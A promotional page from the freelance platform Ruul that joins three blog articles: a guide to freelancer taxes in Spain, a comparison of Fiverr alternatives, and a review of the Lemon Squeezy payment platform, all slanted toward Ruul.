Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Income tax rates: 19% - 47%, the higher the income, the higher the rate. Income tax calculation: Different rates are charged according to income brackets. Social security premium: Depends on monthly income, with minimum and maximum payment options. Advantage for beginners: They can pay a fixed premium of €80 for the first 12 months. VAT rates: 21% (general), 10% (basic needs), 4% (essential needs). VAT declaration: Declared quarterly with Form 303. Tax deductions: Expenses such as office expenses, travel expenses, and consulting services are deductible. Annual and quarterly tax notifications : Annual reporting is done between April and June. Quarterly reporting is completed in January, April, July, and October. If you're a freelancer in Spain: Calculating taxes can be a nightmare. Income tax, VAT, social security... you can get buried under a ton of misinformation. Luckily, this article will save you time. It will inform you about the taxes you must pay in Spain in 2025. You will leave informed. Let's get to work! 1) Income tax rates for freelancers Your inevitable task as a freelancer making money in Spain: Declare your income and pay it. Tax rates increase gradually in Spain. This simply means that the more you earn, the more taxes you pay. Rates start at 19% and go up to 47% . Current tax rates: Up to €12,450: 19% €12,450 - €20,200: 24% €20,200 - €35,200: 30% €35,200 - €60,000: 37% Over €60,000: 47% How do you calculate? 1. Have past income records? Great! You can easily see how much tax you owe at year-end. 2. Keep an eye on your expenses. Deduct work-related costs from your taxes to protect more of your earnings. 3. Check the table we shared. A quick calculation will show your tax bracket and how much you need to pay. Example income tax calculation It would be good to give an example. Tax calculation is sometimes misunderstood. Let's say you make €18,000 a year. Up to €12,450: 19% (This part will already be taxed at a flat rate). €12,450 - €20,200: 24% (Your earnings fall within this range) Please avoid this mistake when calculating! If your income falls into two brackets, the income is taxed separately. For example, the first part of 18 thousand euros is taxed at 19%, the second at 24%. What should happen: First tranche 0 - €12,450 Tax: €12,450 × %19 = €2,365.50 Second tranche €12,450 - 18,000 Your earnings in this range: €18,000 - €12,450 = €5,550 Tax €5,550 × %24 = €1,332 Total tax? €2,365.50 (first) + €1,332 (second) = €3,697.50 In short, some of your income will be taxed at a low rate and some at a high rate. Forget the idea that all income will be calculated at the same rate. 2) Social security contributions The Spanish government has created a new contribution system for freelancers in 2023. As a freelancer, you have to pay a premium to Seguridad Social based on your monthly income. We highly recommend it. Not only will it protect you and your family, it will help you build a secure future. And, you can pay two ways: You can pay the minimum contribution floor to keep payments to a minimum. You can pay the maximum contribution floor for a higher pension in retirement. Here are the current rates Up to €670: Min. €205,23 / Max. €225,75 €670,01 - €900: Min. €225,75 / Max. €282,60 €900,01 - €1.166,69: Min €266,80 / Max. €366,34 You can use the official website of Seguridad Social to find out the social contribution you have to pay. Important note: If your income at the end of the year is less than expected, you can request a refund of your contributions. But remember that if your income is higher than expected, you will have to pay the difference. Flat rate for new freelancers Good news for first-time freelancers in 2023-2025. You can apply for a reduced fixed quota of €80 for the first 12 months. But there is one more thing: If you are 33% or more disabled, a victim of gender-based violence or terrorism, you can extend it up to 24 months. 3. VAT (Value Added Tax) VAT is a tax other than income tax that is included in every service. In short, when you buy clothes or food, you pay VAT. And the seller transfers the VAT to the government. In this case, you as a freelancer also need to add VAT to your outputs. The VAT rate for freelancers in Spain is 21% . A reduced 10% VAT for essentials like accommodation and transport. The lowest VAT is 4% . For super essentials like bread and medicine. But if you belong to one of these, you are exempt: Education and training Health Social assistance services Finance and insurance These services do not require VAT as they benefit the public and society. 3) Quarterly VAT return Something you have to deal with every quarter: Filing Form 303 and paying the VAT bill. Here is an example to better understand quarterly declarations Let's say you provided services as a freelancer in March, April, and May. March - if you invoiced €1000 for services: 21% VAT | €210 April - if you invoiced €500 for services: 21% VAT | €105 May - if you invoiced €1500 for services: 21% VAT | €315 Total: 210 + 105 + 315 = €630 You have to file the declaration by July 20 and pay the total VAT of €630. How to pay? The Agencia Tributaria online system makes it easy. You can simply file the VAT return using form 303. Remember that if you are entitled to deduct VAT (e.g. for educational and financial), this amount can be deducted. In this case, calculate at 10%, not 21%. Click here to access Form 303 on the official website. 4) Quarterly tax payments Freelancers are asked to file a tax return every 3 months to pay income tax and social security contributions. This includes the VAT payments you just mentioned. Quarterly tax payments are due on the 20th of April, July, October and January . 5) Deductions and allowances "Do I always have to pay taxes, aren't there tax deductions? " you may ask. Of course, there are deductions that allow you to keep some of your earnings. What can you deduct from your taxes? Common deductions include: Office supplies and equipment: Costs associated with running a freelance business. Travel and transportation: Expenses incurred while traveling for work purposes. Professional services: Fees for legal, accounting, and consulting services related to the business. Home office deduction: A portion of home expenses may be deductible if used exclusively for business. VAT reductions If you provide health, education, social welfare, financial, or insurance services, the VAT reduction is reduced from 21% to 10% . But remember, these are discounted because they are beneficial to society. So, arbitrary aesthetic operations in the health sector, etc. are not included in the discount. 6) Tax filing and deadlines Freelancers file annual and quarterly tax returns in Spain. You must file your annual income tax returns (Declaración de la Renta) between April and June of the following year. Quarterly tax filing dates for freelancers: 1st quarter: January, February, March - until April 20 2nd quarter: April, May, June - until July 20 3rd quarter: July, August, September - until October 20 4th quarter: October, November, December - until January 20 Frequently asked questions 1. How much tax does a freelancer pay in Spain? The tax you pay in Spain depends on the type of service and how much you earn. For example, VAT is 10% for the food sector and 4% for essentials such as milk, bread, and some medical products. 2. How much tax do I pay in Spain? In Spain you pay progressive income tax (19% - 47%), social security contributions (based on income), and VAT. To find out the tax you have to pay, you need to calculate and declare your monthly and annual income.

You’re not alone. Here are 13 solid alternatives that might just become your new go-to platform. Eran Karaso 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Tired of Fiverr’s 20% fee? Ruul takes 5% and lets you sell services, subscriptions, and even digital products. With built-in invoicing, VAT compliance, and crypto payments. (All that with just one swing) Not all platforms are created equal. Sites like Toptal pre-screen talent and don’t charge freelancers anything, while Guru offers super low fees. But you’ll need a paid plan to unlock full access. Want in-person work, not screen time? Try TaskRabbit or Thumbtack for local gigs like moving, repairs, or cleaning. No platform fee for you. The client pays instead, and you keep the full rate. Fiverr kinda feels like the default starting line for freelancers. Maybe that’s where you kicked off your journey, too. But at some point, things started to feel… off. Crazy high fees, The struggle of landing clients, Or just not being able to carve out your niche on the platform. Whatever the reason, sometimes you just need a solid alternative. That’s exactly what I’ll break down here: the best Fiverr alternatives worth checking out. Ready? Let’s dive in! What is Fiverr? Fiverr is one of the biggest marketplaces for online freelance work . No job postings. No drawn-out messaging. No paperwork headaches. Fiverr simplifies the process by offering a Gig-based system. You set the scope, pricing, delivery time, and revisions. A client searches for something like “logo design,” and boom, they're scrolling through dozens of listings. If they like yours, they buy it right away. That’s what made Fiverr a hit for fast, frictionless sales . But it’s not all smooth sailing: high fees, intense competition, and limited platform features can make it tough to stand out. Let’s explore some strong Fiverr alternatives that may better suit your needs, depending on your style, niche, and goals. Pros of Fiverr For freelancers 1. A massive buyer pool = more eyes on your services Fiverr has over 4.2 million active buyers. That’s a huge built-in audience, which means you’re not starting from zero or yelling into the void on social media. If your Gig is well-optimized, work can come to you. 2. Fast + low-cost way to start Creating a profile is free and fast. You don’t need an agency-level portfolio to get started (though it helps). That’s why many beginners love Fiverr; it’s easy to test the waters without upfront investment. Just be ready for that 20% platform cut. 3. Minimal client communication Fiverr’s package system means everything (scope, price, timeline) is spelled out from the start. You might still get questions, but usually it’s “quick ping” stuff, not full-blown negotiations. This makes it especially appealing for digital nomads who want to spend less time managing clients and more time doing the actual work (or traveling ✈️). For clients 1. Speedy hiring. Usually, hiring a freelancer can drag on for weeks—reviewing resumes, portfolios, and conducting interviews… You know the drill. On Fiverr, the entire process is significantly faster. Find someone you like? You can literally start working with them the same day. 2. Paid subscription. Fiverr Pro and paid subscriptions provide clients with access to what the platform refers to as “top-tier talent.” Yes, it’s another cost layer, but it helps filter out low-quality sellers and raises the bar for quality. Is it worth it? That depends on what you're hiring for. Cons of Fiverr For freelancers 1. That painful 20% commission Fiverr takes a flat 20% cut of your earnings, regardless of the job's size or scope. That’s 4x higher than Ruul Space and double what Upwork charges. If you’re trying to build a serious income stream, that fee adds up fast. 2. Brutal competition and race-to-the-bottom pricing Fiverr is where everyone starts, which means it’s packed. To get noticed, beginners often slash their prices, and seasoned pros find it hard to compete on value. The most cutthroat categories? Design, writing, and development. These niches are pure warzones. 3. Visibility issues + a black-box success score Digging through Reddit reveals a common pain: the Success Score system feels rigged. It’s unclear how it works, downgrades occur without warning, and support is rarely helpful. It kind of makes you think… Is Fiverr legit? One freelancer put it bluntly: - “My level dropped for no reason. Support ghosted me. With 20% fees on top of that? I’m done.” And they’re not alone. Your visibility and therefore your income can tank overnight, even if you're doing everything “right.” ( Source ) For clients 1. That sneaky 5% buyer fee Fiverr takes 20% from freelancers and a 5.5% fee from buyers. Many users criticize this “double dip” as unnecessary. And honestly, they’ve got a point. When you get paid on Ruul , only one side pays a fixed commission of 5%. No surprises. 2. Inconsistent quality The biggest headache for buyers on Fiverr is the hit-or-miss quality. They often end up testing multiple freelancers, wasting time and money in the process. Some even argue there should be a vetting system. 3. Lost in translation + decision overload With freelancers from all over the world, communication can get messy fast. Add to that the endless sea of options, and buyers often fall into a state of decision paralysis. The kicker? While they’re stuck browsing, testing, and second-guessing, their actual costs continue to rise. 13 Top Fiverr Alternatives (depending on your goals) Fiverr isn’t the only game in town, far from it. Whether you’re a freelancer looking for fairer fees or a client chasing better talent and results, there’s a platform out there that fits better. Below, I’ve broken down 13 Fiverr alternatives worth checking out—each with its own strengths, quirks, and ideal use cases: 1. Ruul Space What is Ruul Space? Ruul is essentially the global payment button every freelancer has been dreaming of. It bundles the top 4 things freelancers need into one sleek setup: Portfolio Sales Invoice Payment button Compared to Fiverr, Ruul packs way more punch. Here’s what sets it apart: You can sell digital products. You can manage and sell subscriptions. You get built-in invoicing. You can even accept crypto. Plus, Ruul acts as a MoR ( Merchant of Record ). That means Ruul becomes the legal seller on your behalf. You can sell globally in 190 countries, stay VAT-compliant, and issue invoices without the legal mess. Pros of Ruul Space Start for free : No setup cost, no monthly fees. Space link : Portfolio, services, and products in one spot. Earn three ways : Sell services, products, or subscriptions. Flat 5% fee : Super low, no hidden charges. Global compliance : Sell in 190 countries, tax worry-free. Fast crypto payouts : Get USDC via Binance, instantly. Proven track record : $200M+ in successful transactions. Top-rated trust : 4.7 stars on Trustpilot Cons of Ruul Space Organic visibility is pretty limited Ruul Space vs. Fiverr On Ruul Space, you can do everything you do on Fiverr and more (hello, digital products & subscriptions). Plus, fees are just 5%. That’s four times less than Fiverr. From that angle, Ruul clearly wins. However, Fiverr has a larger buyer pool and more built-in competition. On Ruul, you’ll need to hustle a bit and promote your skills and products on Instagram, LinkedIn, Substack, and other platforms, actually, to reel in clients. 2. Upwork What is Upwork? Upwork’s one of the biggest freelance platforms out there, but it works differently from Fiverr. Instead of waiting for buyers, you apply for jobs using “ Connects, ” which are like tokens. You get 10 free each month, but listings usually cost between 5 and 20. So yeah, they disappear fast. If you’re applying often, you’ll need to top up. Not into bidding wars? There’s a workaround: Project Catalog . You can list your service as a fixed-price package and let clients come to you, like Fiverr, but with more control and (in some categories) less crowding. Pros of Upwork Better rates overall : 1 in 3 freelancers report earning $50/hour or more. More niches to explore : Over 200, across 9 big categories. Two income tracks : Offer hourly gigs or fixed-price packages. Payment protection : Funds stay in escrow until work is approved. Transparent bidding : See what others are offering. Badges = trust : Verified certifications help your profile stand out. Cons of Upwork 10% freelancer fee : Half of Fiverr, but still a chunk. 5% fee on the client side : Some clients may hesitate. Spammy DMs happen : It’s not immune to low-effort pitches. High competition : Especially in beginner-friendly categories. Upwork vs. Fiverr Here’s the real win with Upwork: you’re not boxed into just one way to work. You can send proposals and sell pre-defined packages. Fiverr? Packages only. And the fees? Upwork takes 10% from freelancers, Fiverr takes 20% . That’s a big deal if you're doing high-volume work. Unless you’re already thriving on Fiverr or your niche is super visual (think design or voiceovers), Upwork gives you more options, more flexibility, and more earning potential. Want the full breakdown? Check out our in-depth comparison [ Fiverr vs. Upwork ]. 3. Freelancer.com What is Freelancer.com? Unlike Fiverr, on Freelancer.com, you win jobs through bidding. You only get 6 free bids per month, which feels super limited. If you want to pitch more, you’ll need to sign up for one of their four membership plans. What really stood out to me, though, is how outdated the site feels. Compared to Fiverr or even Upwork, it’s like browsing an old website that never got a proper refresh. If you’re looking for something sleek and modern, this is definitely worth knowing before you dive in. Pros of Freelancer.com Huge category spread : From legal work to game design Escrow protection : Clients pre-fund projects, so you’re not chasing payments Verified profiles : Badges exist for both sides Cons of Freelancer.com 10% freelancer fee : Same as Upwork, but no volume discounts 3% client fee : Small, but can shrink already tight budgets Intense competition : Especially in high-demand fields like design and writing Scam alerts : Shady listings still pop up, so you’ll need to vet carefully Freelancer.com vs. Fiverr If you’re comparing just on fees, Freelancer.com wins by 10% compared to Fiverr’s 20%. But when it comes to usability? Fiverr’s cleaner UI and pre-packaged Gig model offer a smoother ride. On Freelancer.com, everything runs on the “submit a bid and wait” model. That can feel slow, especially if you're new and still building trust. 4. Toptal What is Toptal? Toptal isn’t for beginners, and that’s the point. This platform screens every freelancer through interviews, skill tests, and live exercises. According to Toptal, only the top 3% make it through. If you’re a seasoned pro with a portfolio to back it up, that filter could actually work in your favor. Once you're in, there's no bidding or race-to-the-bottom pricing. Toptal matches you directly with clients based on your expertise. Think VC-backed startups, Fortune 500s, and enterprise teams that care more about fit than cost . Pros of Toptal No platform fees : You keep 100% of what you earn Pre-screened clients : Less ghosting, more serious buyers Fast onboarding : Start projects in as little as 48 hours Fewer competitors : Smaller, curated talent pool Predictable payments : No chasing invoices Cons of Toptal Hard to get in : Multi-stage vetting with live testing Smaller platform : Fewer freelancers means fewer listings overall Higher cost for clients : Might limit some smaller opportunities Toptal vs. Fiverr These platforms aren’t even aiming at the same crowd. Toptal doesn’t charge freelancers a dime. Fiverr takes 20% off each sale. So if you’re landing $10K projects, that’s $2K saved per gig. But here’s the trade-off: Toptal is gated. You need to pass interviews, code challenges, or design assessments even to get in. Fiverr? Anyone can start, package their services, and test the waters. If you’re already established and want fewer clients but bigger paychecks , Toptal’s worth the grind. Are you new or still building up your experience? You’ll likely hit a wall here. Want more details? Read: [ Toptal vs Fiverr – Which Is Better for Freelancers ?] 5. PeoplePerHour What is PeoplePerHour? PeoplePerHour is a UK-based platform built around, you guessed it, hourly work. About 60% of the freelancers there are from the UK, but the site itself runs in 100+ countries. That’s actually a big plus because UK-based gigs often pay higher rates. The interface feels fresh, too. It appears they’ve recently updated it, and honestly, it’s much cleaner than what I remember. They’ve also added AI to match freelancers with clients more intelligently, which makes finding the right projects less of a headache. But not everyone gets in. There’s a review process, and while it’s not as strict as Toptal, you still have to wait for their team to check and approve your profile. So yeah, if you’re a brand new freelancer , this might not be the place to kick things off. Pros of PeoplePerHour Human-reviewed freelancer onboarding : Better chance of finding legit clients Client payment protection : Funds are held until delivery is approved AI-powered matching : The platform recommends gigs based on your skills 24/7 customer support : Helpful when payment or brief issues come up Automatic invoicing : Less admin work for you Cons of PeoplePerHour Only 15 free proposals per month : You’ll need to pay for more 20% commission : Same as Fiverr, and it adds up Screened sign-up process : New freelancers may get rejected Hourly-first mindset : Less appealing if you prefer fixed-price work PeoplePerHour vs. Fiverr Fiverr is open to everyone and built around service packages. PeoplePerHour is stricter. You apply first, and once you’re in, most jobs are hourly. Both platforms take a 20% cut , so there’s no real difference in fees. So here’s the key question: Do you prefer packaging your services or charging by the hour? → If you like control and flexibility, Fiverr may feel easier. → If you want a smaller, vetted marketplace with European clients, PPH might suit you better. 👀 More on this? Read our full breakdown: [ PeoplePerHour vs. Fiverr ] 6. 99designs What is 99designs? 99designs is a platform built just for designers . Unlike most freelancing sites, it runs on a contest model. A client posts what they need (starting at $299), dozens of designers submit their work, and then wait to see if they get picked. That said, things have shifted recently. Now clients can directly invite designers to projects, which means you can actually build a profile and land work outside of contests. If you join, don’t rely only on the competitions. Personally, I don’t see contests as a sustainable source of income. It feels more like a fun side hustle than a serious business. That’s why I’d keep 99designs (and similar contest-style platforms) as a backup, not your main gig. Pros of 99designs You keep full copyright of your winning designs Logo contests wrap up fast : Sometimes within 24–48 hours Vetted client base : Including startups, agencies, and e-commerce brands A money-back guarantee (For clients) helps build trust Tiered commissions : Pay less as you level up Cons of 99designs No pay unless you win : You might design for hours with zero return Fierce competition : Especially in popular categories like logos Not ideal for ongoing income : Projects are one-off Only for visual designers : No writing, dev, or admin gigs here Clients pay platform fees too : Might shrink their budget 99designs vs. Fiverr They’re totally different worlds. Fiverr’s for everyone, 99designs is strictly for designers. Fiverr = service packages, 99designs = contests. Freelancer profiles and workflows are also quite different. Plus, 99designs has a tiered commission system: Top-level designers pay 5% Mid-level pay 10% Entry-level pay 15% Clients also get hit with a 5% fee 7. Guru What is Guru? On Guru, you can work with all kinds of pricing models : hourly, fixed-price, milestone-based, and even recurring. Clients post jobs, freelancers send proposals. Your success really depends on how well your pitch and profile line up with the project. Design-wise, Guru feels more old-school than flashy. It doesn’t scream trendy branding; it’s more like walking down a corporate hallway than a creative studio. Honestly, I felt like I was in an office while using it. Pros of Guru Only 5% freelancer commission : One of the lowest rates around Multiple payment formats : Hourly, fixed, milestone, or recurring Smaller freelancer pool : Less crowding in most categories Team collaboration tools : Useful for agencies or group projects Free job postings for clients : More listings, especially from small businesses Cons of Guru Subscription needed to compete : Free users have limited bids UI feels outdated : Might impact the client’s browsing experience Unclear project volume : Especially outside core categories Recurring gigs require a paid plan : Limiting for long-term work seekers Guru vs. Fiverr Guru takes only 5% of your earnings. Fiverr takes 20%. But here’s the fine print: Guru offers low fees only if you’re willing to pay for a monthly plan (starting at $11.95). Without it, you’ll get fewer bidding credits and limited exposure. Fiverr, on the other hand, doesn’t charge for visibility, but slices off a bigger chunk per sale. It also attracts more casual buyers, while Guru leans toward business clients and longer-term projects. So the trade-off is clear: If you’re after low fees and don’t mind paying for access, Guru’s worth considering. If you want to start fast, build service packages, and attract a wider range of buyers, Fiverr is more beginner-friendly. 8. TaskRabbit What is TaskRabbit? TaskRabbit is a freelance platform built around local, in-person tasks like furniture assembly, moving help, cleaning, or personal errands. It’s not for digital services. Instead, it connects you with people in your area who need things done, fast. Most jobs are short-term, and many are same-day or next-day, making them great options if you’re looking for quick, flexible gigs that can be done in person. Getting started is straightforward, but not instant. You’ll need to apply, attend an info session, and pass a background check before becoming an active “Tasker.” Pros of TaskRabbit Great for local, physical tasks : Moving, repairs, home setup Fast turnaround : Many gigs are booked and completed within a day Verified Taskers : Gives clients peace of mind You set your rates – More control over your income No platform fee for freelancers – The client pays the service fee Cons of TaskRabbit Harder to break in as a newbie – Low reviews = fewer bookings Not for remote work – Everything is location-based One-off jobs dominate – Harder to build ongoing client relationships App coverage is city-specific – Not available everywhere TaskRabbit vs. Fiverr These platforms serve completely different purposes. Fiverr is all about remote digital jobs , think logos, writing, and coding. TaskRabbit is for real-world, local help, such as assembling a bookshelf, running errands, or mounting a TV. One key difference: Taskers keep 100% of their earnings. The platform charges the client, not the freelancer. On Fiverr, you pay a 20% cut per job. So even if the job price is the same, your take-home is smaller. 8. Thumbtack What is Thumbtack? Thumbtack is a US-based freelancing platform. But nope, not for digital gigs—this one’s all about physical work. Think small towns, big cities, anywhere in the States… It’s active. Fix something, paint a wall, clean a house, or even shoot some photos. It’s a solid alternative if you’ve been browsing Fiverr-type sites but couldn’t land online work. If sitting behind a screen isn’t your thing but you still want freelance freedom, just take whatever you’re already good at in daily life and offer it on Thumbtack. Pros of Thumbtack Focused on local services : Ideal for pros in trades, events, or home services Available across the US: Even in smaller cities and towns High job volume : 30,000+ service requests per day Strong app reputation : 4.9/5 rating from 300K+ reviews Easy-to-use features : In-app messaging, secure payments, quote builder Cons of Thumbtack You pay per lead, not per job : And not all leads convert Pricing transparency is poor : Unclear fees post-booking You’ll compete with contractors : Especially in popular service categories Service quality varies widely : No strict vetting, so client reviews carry weight Thumbtack vs. Fiverr The comparison’s pretty straightforward. Fiverr’s for online gigs, Thumbtack’s for real-world jobs. On Fiverr, you get hit with that huge 20% fee. On Thumbtack, you only pay a “lead fee” once you actually connect with a client. And that cost changes depending on the job’s value and the local market. 9. DesignCrowd What is DesignCrowd? DesignCrowd is a contest-based platform built for freelance designers (yep, like 99designs). The idea is simple: a client posts a request, dozens of designers send in their work, and the client picks their favorite. The winner gets paid. But let’s be real: it’s high risk and not exactly sustainable if you’re looking for a steady income. You can certainly consider it, but don’t rely on it. If you’re already on Fiverr, you’ll probably want to check out Ruul, Upwork, or Toptal for a full-time income stream. Keep DesignCrowd on the side. Pros of DesignCrowd Wide range of categories : From logos and t-shirts to packaging and flyers Fast contest timelines : Some wrap up in under 72 hours Client sets budget and deadline : You choose which projects to join Copyright assignment: If you win, the copyrights are yours. 15% platform commission : Lower than Fiverr’s 20% Cons of DesignCrowd Only winners get paid : No payment for submissions unless selected High competition : Dozens of designers often compete for a single gig No vetting system : Open access can flood the market DesignCrowd vs. Fiverr DesignCrowd speaks directly to designers and runs on contests. Fiverr, on the other hand, works for almost any kind of freelancer and is all about service packages. As for fees, there’s not a huge gap. Fiverr takes 20%, DesignCrowd grabs 15%. 10. SimplyHired What is SimplyHired? SimplyHired isn’t a marketplace like Fiverr, it’s closer to Indeed or LinkedIn Jobs. You’ll find everything here, from one-off freelance gigs to remote roles and even full-time contracts. The best part: Listings usually show the average hourly pay, which I actually liked. If you’re just dipping your toes into freelancing and don’t know what’s out there yet, this site is worth a look. It’s convenient for location-based roles or remote corporate jobs. Additionally, the site is streamlined, so browsing feels quick and effortless. Pros of SimplyHired Free to use : No fees for job seekers or employers Global listings : Includes freelance, part-time, and remote roles across industries Search filters by contract type and location : Makes it easier to narrow your hunt Built-in resume tool : Helpful if you’re also applying to traditional jobs Cons of SimplyHired Poor user rating (1.7/5 on Trustpilot) : Many users cite outdated job links No freelancing workflow : No profiles, no gigs, no payments, no reviews Not designed for service sellers : Better suited for job seekers than freelancers SimplyHired vs. Fiverr Fiverr is all about selling service packages, while SimplyHired works more like a traditional job board. If you’re chasing longer-term, corporate-style gigs, SimplyHired makes more sense than Fiverr. Big difference? Fiverr charges both buyers and sellers a cut on every deal. SimplyHired? Totally free, posting jobs or applying costs nothing on either side. 11. Bark What is Bark? Bark is another UK-based site, like TaskRabbit. However, you can find both physical, location-based gigs and online ones here. The downside? There’s no built-in payment protection. You have to collect your money directly from the client. What I do like about Bark is that it’s not a “sell it once and disappear” type of platform. You can actually build a profile, strengthen it, and attract new clients faster. That means long-term connections and steady local work if you play it right. Pros of Bark Free to list : Job ads are free for clients and pros Supports local & digital jobs : From dog training to SEO Lead filtering : Matches based on skills and location Detailed profiles : Portfolio, reviews, phone contact options Urgent job feature : Fast-turnaround gigs appear first Cons of Bark Pay-per-lead model : Freelancers must buy credits to contact leads No payment system : All payments are handled off-platform No refunds : Credit purchases are final No vetting process : Anyone can join, quality varies Bark vs. Fiverr Bark gives you both local and digital gigs, while Fiverr sticks strictly to digital work. Another big difference: Bark doesn’t charge a commission, but there’s no payment protection, so you’re on your own when collecting cash. Fiverr flips that around: your money’s safe until the project wraps, but they take a chunky 20% cut. 12. FlexJobs What is FlexJobs? FlexJobs is a traditional job board for flexible, remote, and full-time roles. And honestly, it’s one of the best I’ve seen. The biggest reason? It’s 100% scam-free. Their team manually reviews every single listing before it ever goes live. Additionally, FlexJobs charges both parties: job seekers pay to apply, and employers pay to post their job openings. Pros of FlexJobs Clean, ad-free experience : No pop-ups, distractions, or irrelevant job ads Manually vetted listings : Job posts are reviewed by a real human before going live Scam-free environment : High trust platform with fraud protection baked in Remote, hybrid, and flexible jobs : Ideal for location-independent professionals Consistently high-quality roles : Fewer low-paying or spammy gigs High customer satisfaction : Strong ratings from both employers and job seekers Cons of FlexJobs Most jobs are U.S.-based : Global users may find fewer opportunities Paid access for job seekers : Plans start at $2.95 for a trial, then monthly High fees for employers : $399/month makes it less accessible for clients FlexJobs vs. Fiverr Fiverr is fast-paced, super competitive, and all about service packages. But yeah, you’ll run into the occasional scammer there. FlexJobs, on the other hand, feels like the cleanest, safest way to job hunt. No scams, just flexible roles: remote, part-time, or full-time.

Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Lemon Squeezy is an all-in-one platform for digital product sales, acting as a Merchant of Record (MoR) globally. Their target audiences are SaaS, content creators, and independent developers. They offer custom storefronts with your domain name and brand. With Lemon Squeezy, you can get paid in 130 currencies with 20+ payment methods. There are no monthly fees. You pay 5% + $0.50 commission per transaction. Lemon Squeezy has been making waves as a Merchant of Record platform aimed at freelancers and digital creators. It promises an all-in-one solution for selling products online, handling payments, taxes, compliance, and more. But what exactly does it offer, and how does it stack up for creators who want a streamlined way to monetize their work? In this guide, we’ll talk about what freelancers and creators should consider before jumping in. What is Lemon Squeezy? Lemon Squeezy is one of those “all-in-one” platforms built with digital creators and software companies in mind. As a Merchant of Record (MoR), it steps in to handle the boring stuff—taxes, payments, compliance—so you can stay focused on building and selling. You can offer subscriptions (monthly, yearly, with or without free trials), making it a solid fit for SaaS. And the best part? You don’t need to worry about VAT rules or invoicing chaos. It figures out the tax based on where your customer lives and sends the proper invoice . You don’t need to deal with any manual setup. But that’s actually what almost all MoR platforms do. Who’s it for? The bold letters on their homepage make it clear: SaaS businesses . That’s their sweet spot. You can sell digital products too, like mockups, templates, eBooks, courses, and more. If you’ve already built a bit of a following or personal brand, Lemon Squeezy gives you the infrastructure to monetize it . Just don’t expect it to do your marketing for you. That’s still on you. Key features Let's look at the key features of Lemon Squeezy . 1. Digital product sales From e-books and online courses to mockups and wallpaper designs, digital products are in high demand. And yes, you can sell all of them on Lemon Squeezy. I can almost hear you asking, “Can I use it to sell freelance services too?” Technically, yes. You could upload a file, set a price, and send the link to a client you’ve already agreed with. But here’s the thing: that’s not what Lemon Squeezy was really built for. Notice that: It’s not a smooth fit for service-based work, especially if you’re offering custom packages or ongoing subscriptions. 2. Subscription management With Lemon Squeezy, you can offer subscription plans to your customers. You can set up monthly/yearly subscription plans for your customers. Then manage them in one place: cancel, change, free trial, and payment cycle. You can activate email notifications to protect and increase your earnings . This way, items forgotten in the cart can turn into profit. You can also allow periodic charge attempts from your customer's card if a card has not been charged. 3. Global tax compliance Lemon Squeezy is a popular MoR platform. Therefore, they also manage the tax for you . So you don't have to deal with different documents in each jurisdiction. 4. Multiple payment methods You can offer customers the chance to pay with more than 20 payment methods and more than 130 currencies. PayPal is the most popular of these payment methods. 5. Affiliate program Do you have fans? Tell them that they can earn money by promoting your products. Thus, both your sales will increase and your followers will earn income. 6. Customizable storefronts You can customize your online store with your own domain, logo, fonts and colors. This way, your store is no longer monotonous and reflects your personal brand. 7. Analytics and reporting With Google Analytics and Meta Pixels integration, you can keep up to date with the traffic of your Lemon Squeezy store. Seller fees It’s free to register for Lemon Squeezy, and there are no subscription fees. The platform only takes a commission on transactions. So, you don't pay a fee unless you make a sale. And how much is the commission? 5% + 50¢ per transaction Other than that, there are no other costs. However, according to user reports, users based in Europe pay a bank commission when withdrawing money to their accounts. Benefits for freelancers and creators Let's see how Lemon Squeezy is useful to freelancers and content creators. 1. Drag-and-drop + no-code simplicity: Lemon Squeezy's ease of use comes from its drag-and-drop interface. Even if you don't know coding, you can create a store, complete integrations, and sell your service as a regular user. 2. Automatic VAT calculation by country: Lemon Squeezy manages every time-consuming application for you, from country-based VAT calculation to invoicing. 3. More than 130 countries covered: Like most MoR platforms, Lemon Squeezy allows you to sell in different currencies in over 130+ countries. 4. Flexible subscription types: You can shape your sales model as you wish: Yearly/monthly subscription, one-time payment, or pay-as-you-go options. 5. AI-enhanced fraud protection: This way, you won't suffer losses due to refund requests, and you can earn a stable income. Potential drawbacks Referring to user comments about Lemon Squeezy, I want to mention two main drawbacks. 1. High fees Compared to others, Lemon Squeezy might seem a bit pricey. That’s mostly because, on top of their 5% + 50¢ cut, bank fees also get taken out of your earnings. Sure, there are cheaper options out there. But when I looked into Lemon Squeezy on Reddit, most of the complaints were about the pricing. EU users in particular mentioned being charged higher fees. That said, keep in mind these rates can change from time to time, and some of the comments might be outdated. 2. Poor user support Some users have reported that the platform's support team has been slow to resolve issues. However, it is worth keeping in mind that this may be due to seasonal intensity. However, when it’s constantly happening, you lose time and money. That’s why we care a lot about providing responsive customer support at Ruul. Our users frequently mention that as our highlight. How to get started Here is how to get started with Lemon Squeezy in 3 steps. Step 1: Sign up for a free account Signing up for Lemon Squeeze is free of charge. Go to the registration page and join with your name, email, and password. After that, you’ll need an email confirmation, which is a good thing for the sake of safety. Step 2: Set up your storefront and customize it Create your online store without coding and customize it with your own brand materials. Once you log in to your account, the first step is to create your store with a personalized URL. See here: Step 3: Add your digital products The platform guides you through the next steps. First, you need to verify your identity and add additional security. No escape from this boring stuff. After that, you’re ready to go and create your first product. Click on the "+" icon in the top right corner of the panel and click on the "new product" button. To add the product, type the product name, the price, and then attach the file. Use the drag-and-drop function when adding the product to your store. You can list 3 different variations of the product: Basic Premium VIP It looks like this: The third step is to determine the pricing model: Single payment Subscription Lead magnet Pay what you want At this stage, you can add different variations of the product and price each one separately. If everything is ready, you can complete the process with the "Publish product" button. It may be useful to know: Lemon Squeezy does not market your store directly. You are responsible for marketing your products on your own website and social media. As a good alternative, Try Ruul Tired of high platform fees eating into your freelance income?

